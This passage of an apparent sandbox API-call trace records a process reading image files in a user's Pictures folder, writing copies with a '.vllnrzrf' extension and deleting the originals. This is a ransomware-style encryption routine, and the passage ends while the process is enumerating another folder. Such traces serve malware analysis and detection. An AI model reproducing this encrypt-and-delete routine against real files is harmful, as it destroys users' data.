(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\0CW4UO28R1M_iTm2.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\kv2m\\0cw4uo28r1m_itm2.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e8 [0117.416] GetFileType (hFile=0x4e8) returned 0x1 [0117.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04dfc0) returned 1 [0117.416] GetFileType (hFile=0x4e8) returned 0x1 [0117.416] GetFileSize (in: hFile=0x4e8, lpFileSizeHigh=0x1c04e1e8 | out: lpFileSizeHigh=0x1c04e1e8*=0x0) returned 0xa573 [0117.416] ReadFile (in: hFile=0x4e8, lpBuffer=0x22c2a30, nNumberOfBytesToRead=0xa573, lpNumberOfBytesRead=0x1c04e118, lpOverlapped=0x0 | out: lpBuffer=0x22c2a30*, lpNumberOfBytesRead=0x1c04e118*=0xa573, lpOverlapped=0x0) returned 1 [0117.417] CloseHandle (hObject=0x4e8) returned 1 [0117.428] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\0CW4UO28R1M_iTm2.bmp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\0CW4UO28R1M_iTm2.bmp.vllnrzrf", lpFilePart=0x0) returned 0x5d [0117.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e050) returned 1 [0117.428] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\0CW4UO28R1M_iTm2.bmp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\kv2m\\0cw4uo28r1m_itm2.bmp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e8 [0117.429] GetFileType (hFile=0x4e8) returned 0x1 [0117.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04dfc0) returned 1 [0117.429] GetFileType (hFile=0x4e8) returned 0x1 [0117.429] WriteFile (in: hFile=0x4e8, lpBuffer=0x2312128*, nNumberOfBytesToWrite=0xa773, lpNumberOfBytesWritten=0x1c04e178, lpOverlapped=0x0 | out: lpBuffer=0x2312128*, lpNumberOfBytesWritten=0x1c04e178*=0xa773, lpOverlapped=0x0) returned 1 [0117.431] CloseHandle (hObject=0x4e8) returned 1 [0117.436] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\0CW4UO28R1M_iTm2.bmp", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\0CW4UO28R1M_iTm2.bmp", lpFilePart=0x0) returned 0x54 [0117.436] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\0CW4UO28R1M_iTm2.bmp", nBufferLength=0x105, lpBuffer=0x1c04dd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\0CW4UO28R1M_iTm2.bmp", lpFilePart=0x0) returned 0x54 [0117.436] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\0CW4UO28R1M_iTm2.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\kv2m\\0cw4uo28r1m_itm2.bmp")) returned 1 [0117.440] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\bpNRq7VsU6yD3.jpg", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\bpNRq7VsU6yD3.jpg", lpFilePart=0x0) returned 0x51 [0117.440] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\bpNRq7VsU6yD3.jpg", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\bpNRq7VsU6yD3.jpg", lpFilePart=0x0) returned 0x51 [0117.440] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\bpNRq7VsU6yD3.jpg", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\bpNRq7VsU6yD3.jpg", lpFilePart=0x0) returned 0x51 [0117.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e050) returned 1 [0117.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\bpNRq7VsU6yD3.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\kv2m\\bpnrq7vsu6yd3.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e8 [0117.440] GetFileType (hFile=0x4e8) returned 0x1 [0117.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04dfc0) returned 1 [0117.441] GetFileType (hFile=0x4e8) returned 0x1 [0117.441] GetFileSize (in: hFile=0x4e8, lpFileSizeHigh=0x1c04e1e8 | out: lpFileSizeHigh=0x1c04e1e8*=0x0) returned 0xaad8 [0117.441] ReadFile (in: hFile=0x4e8, lpBuffer=0x231d5d0, nNumberOfBytesToRead=0xaad8, lpNumberOfBytesRead=0x1c04e118, lpOverlapped=0x0 | out: lpBuffer=0x231d5d0*, lpNumberOfBytesRead=0x1c04e118*=0xaad8, lpOverlapped=0x0) returned 1 [0117.442] CloseHandle (hObject=0x4e8) returned 1 [0117.462] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\bpNRq7VsU6yD3.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\bpNRq7VsU6yD3.jpg.vllnrzrf", lpFilePart=0x0) returned 0x5a [0117.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e050) returned 1 [0117.462] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\bpNRq7VsU6yD3.jpg.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\kv2m\\bpnrq7vsu6yd3.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e8 [0117.463] GetFileType (hFile=0x4e8) returned 0x1 [0117.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04dfc0) returned 1 [0117.463] GetFileType (hFile=0x4e8) returned 0x1 [0117.463] WriteFile (in: hFile=0x4e8, lpBuffer=0x2359f60*, nNumberOfBytesToWrite=0xacd8, lpNumberOfBytesWritten=0x1c04e178, lpOverlapped=0x0 | out: lpBuffer=0x2359f60*, lpNumberOfBytesWritten=0x1c04e178*=0xacd8, lpOverlapped=0x0) returned 1 [0117.465] CloseHandle (hObject=0x4e8) returned 1 [0117.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\bpNRq7VsU6yD3.jpg", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\bpNRq7VsU6yD3.jpg", lpFilePart=0x0) returned 0x51 [0117.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\bpNRq7VsU6yD3.jpg", nBufferLength=0x105, lpBuffer=0x1c04dd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\bpNRq7VsU6yD3.jpg", lpFilePart=0x0) returned 0x51 [0117.469] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\bpNRq7VsU6yD3.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\kv2m\\bpnrq7vsu6yd3.jpg")) returned 1 [0117.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\UP0lngE4nme0aSiLIi.gif", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\UP0lngE4nme0aSiLIi.gif", lpFilePart=0x0) returned 0x56 [0117.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\UP0lngE4nme0aSiLIi.gif", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\UP0lngE4nme0aSiLIi.gif", lpFilePart=0x0) returned 0x56 [0117.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\UP0lngE4nme0aSiLIi.gif", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\UP0lngE4nme0aSiLIi.gif", lpFilePart=0x0) returned 0x56 [0117.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e050) returned 1 [0117.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\UP0lngE4nme0aSiLIi.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\kv2m\\up0lnge4nme0asilii.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e8 [0117.473] GetFileType (hFile=0x4e8) returned 0x1 [0117.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04dfc0) returned 1 [0117.474] GetFileType (hFile=0x4e8) returned 0x1 [0117.474] GetFileSize (in: hFile=0x4e8, lpFileSizeHigh=0x1c04e1e8 | out: lpFileSizeHigh=0x1c04e1e8*=0x0) returned 0x2618 [0117.474] ReadFile (in: hFile=0x4e8, lpBuffer=0x2365970, nNumberOfBytesToRead=0x2618, lpNumberOfBytesRead=0x1c04e118, lpOverlapped=0x0 | out: lpBuffer=0x2365970*, lpNumberOfBytesRead=0x1c04e118*=0x2618, lpOverlapped=0x0) returned 1 [0117.475] CloseHandle (hObject=0x4e8) returned 1 [0117.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\UP0lngE4nme0aSiLIi.gif.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\UP0lngE4nme0aSiLIi.gif.vllnrzrf", lpFilePart=0x0) returned 0x5f [0117.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e050) returned 1 [0117.483] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\UP0lngE4nme0aSiLIi.gif.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\kv2m\\up0lnge4nme0asilii.gif.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e8 [0117.483] GetFileType (hFile=0x4e8) returned 0x1 [0117.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04dfc0) returned 1 [0117.484] GetFileType (hFile=0x4e8) returned 0x1 [0117.484] WriteFile (in: hFile=0x4e8, lpBuffer=0x237a590*, nNumberOfBytesToWrite=0x2818, lpNumberOfBytesWritten=0x1c04e178, lpOverlapped=0x0 | out: lpBuffer=0x237a590*, lpNumberOfBytesWritten=0x1c04e178*=0x2818, lpOverlapped=0x0) returned 1 [0117.485] CloseHandle (hObject=0x4e8) returned 1 [0117.488] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\UP0lngE4nme0aSiLIi.gif", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\UP0lngE4nme0aSiLIi.gif", lpFilePart=0x0) returned 0x56 [0117.488] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\UP0lngE4nme0aSiLIi.gif", nBufferLength=0x105, lpBuffer=0x1c04dd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\UP0lngE4nme0aSiLIi.gif", lpFilePart=0x0) returned 0x56 [0117.489] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\UP0lngE4nme0aSiLIi.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\kv2m\\up0lnge4nme0asilii.gif")) returned 1 [0117.493] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\xXRjsU7blEJohAMCZ.gif", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\xXRjsU7blEJohAMCZ.gif", lpFilePart=0x0) returned 0x55 [0117.493] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\xXRjsU7blEJohAMCZ.gif", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\xXRjsU7blEJohAMCZ.gif", lpFilePart=0x0) returned 0x55 [0117.493] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\xXRjsU7blEJohAMCZ.gif", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\xXRjsU7blEJohAMCZ.gif", lpFilePart=0x0) returned 0x55 [0117.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e050) returned 1 [0117.493] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\xXRjsU7blEJohAMCZ.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\kv2m\\xxrjsu7blejohamcz.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e8 [0117.493] GetFileType (hFile=0x4e8) returned 0x1 [0117.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04dfc0) returned 1 [0117.493] GetFileType (hFile=0x4e8) returned 0x1 [0117.493] GetFileSize (in: hFile=0x4e8, lpFileSizeHigh=0x1c04e1e8 | out: lpFileSizeHigh=0x1c04e1e8*=0x0) returned 0x9ca5 [0117.493] ReadFile (in: hFile=0x4e8, lpBuffer=0x237db70, nNumberOfBytesToRead=0x9ca5, lpNumberOfBytesRead=0x1c04e118, lpOverlapped=0x0 | out: lpBuffer=0x237db70*, lpNumberOfBytesRead=0x1c04e118*=0x9ca5, lpOverlapped=0x0) returned 1 [0117.495] CloseHandle (hObject=0x4e8) returned 1 [0117.508] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\xXRjsU7blEJohAMCZ.gif.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\xXRjsU7blEJohAMCZ.gif.vllnrzrf", lpFilePart=0x0) returned 0x5e [0117.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e050) returned 1 [0117.508] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\xXRjsU7blEJohAMCZ.gif.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\kv2m\\xxrjsu7blejohamcz.gif.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e8 [0117.509] GetFileType (hFile=0x4e8) returned 0x1 [0117.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04dfc0) returned 1 [0117.509] GetFileType (hFile=0x4e8) returned 0x1 [0117.509] WriteFile (in: hFile=0x4e8, lpBuffer=0x23c91b0*, nNumberOfBytesToWrite=0x9ea5, lpNumberOfBytesWritten=0x1c04e178, lpOverlapped=0x0 | out: lpBuffer=0x23c91b0*, lpNumberOfBytesWritten=0x1c04e178*=0x9ea5, lpOverlapped=0x0) returned 1 [0117.511] CloseHandle (hObject=0x4e8) returned 1 [0117.513] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\xXRjsU7blEJohAMCZ.gif", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\xXRjsU7blEJohAMCZ.gif", lpFilePart=0x0) returned 0x55 [0117.513] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\xXRjsU7blEJohAMCZ.gif", nBufferLength=0x105, lpBuffer=0x1c04dd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\xXRjsU7blEJohAMCZ.gif", lpFilePart=0x0) returned 0x55 [0117.514] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\xXRjsU7blEJohAMCZ.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\kv2m\\xxrjsu7blejohamcz.gif")) returned 1 [0117.517] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\YtGtMf.jpg", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\YtGtMf.jpg", lpFilePart=0x0) returned 0x4a [0117.517] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\YtGtMf.jpg", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\YtGtMf.jpg", lpFilePart=0x0) returned 0x4a [0117.517] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\YtGtMf.jpg", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\YtGtMf.jpg", lpFilePart=0x0) returned 0x4a [0117.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e050) returned 1 [0117.517] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\YtGtMf.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\kv2m\\ytgtmf.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e8 [0117.518] GetFileType (hFile=0x4e8) returned 0x1 [0117.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04dfc0) returned 1 [0117.518] GetFileType (hFile=0x4e8) returned 0x1 [0117.518] GetFileSize (in: hFile=0x4e8, lpFileSizeHigh=0x1c04e1e8 | out: lpFileSizeHigh=0x1c04e1e8*=0x0) returned 0x83cb [0117.518] ReadFile (in: hFile=0x4e8, lpBuffer=0x23d3d38, nNumberOfBytesToRead=0x83cb, lpNumberOfBytesRead=0x1c04e118, lpOverlapped=0x0 | out: lpBuffer=0x23d3d38*, lpNumberOfBytesRead=0x1c04e118*=0x83cb, lpOverlapped=0x0) returned 1 [0117.519] CloseHandle (hObject=0x4e8) returned 1 [0117.535] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\YtGtMf.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\YtGtMf.jpg.vllnrzrf", lpFilePart=0x0) returned 0x53 [0117.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e050) returned 1 [0117.535] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\YtGtMf.jpg.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\kv2m\\ytgtmf.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e8 [0117.536] GetFileType (hFile=0x4e8) returned 0x1 [0117.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04dfc0) returned 1 [0117.536] GetFileType (hFile=0x4e8) returned 0x1 [0117.536] WriteFile (in: hFile=0x4e8, lpBuffer=0x2223b88*, nNumberOfBytesToWrite=0x85cb, lpNumberOfBytesWritten=0x1c04e178, lpOverlapped=0x0 | out: lpBuffer=0x2223b88*, lpNumberOfBytesWritten=0x1c04e178*=0x85cb, lpOverlapped=0x0) returned 1 [0117.538] CloseHandle (hObject=0x4e8) returned 1 [0117.540] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\YtGtMf.jpg", nBufferLength=0x105, lpBuffer=0x1c04db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\YtGtMf.jpg", lpFilePart=0x0) returned 0x4a [0117.540] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\YtGtMf.jpg", nBufferLength=0x105, lpBuffer=0x1c04dd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\YtGtMf.jpg", lpFilePart=0x0) returned 0x4a [0117.540] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\YtGtMf.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\kv2m\\ytgtmf.jpg")) returned 1 [0117.545] CoUninitialize () Thread: id = 100 os_tid = 0x748 [0117.552] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0117.552] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1c0adfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0117.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ae440) returned 1 [0117.553] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1c0adf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0117.553] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\", nBufferLength=0x105, lpBuffer=0x1c0aded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\", lpFilePart=0x0) returned 0x28 [0117.553] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*.*", lpFindFileData=0x1c0ae0e0 | out: lpFindFileData=0x1c0ae0e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, 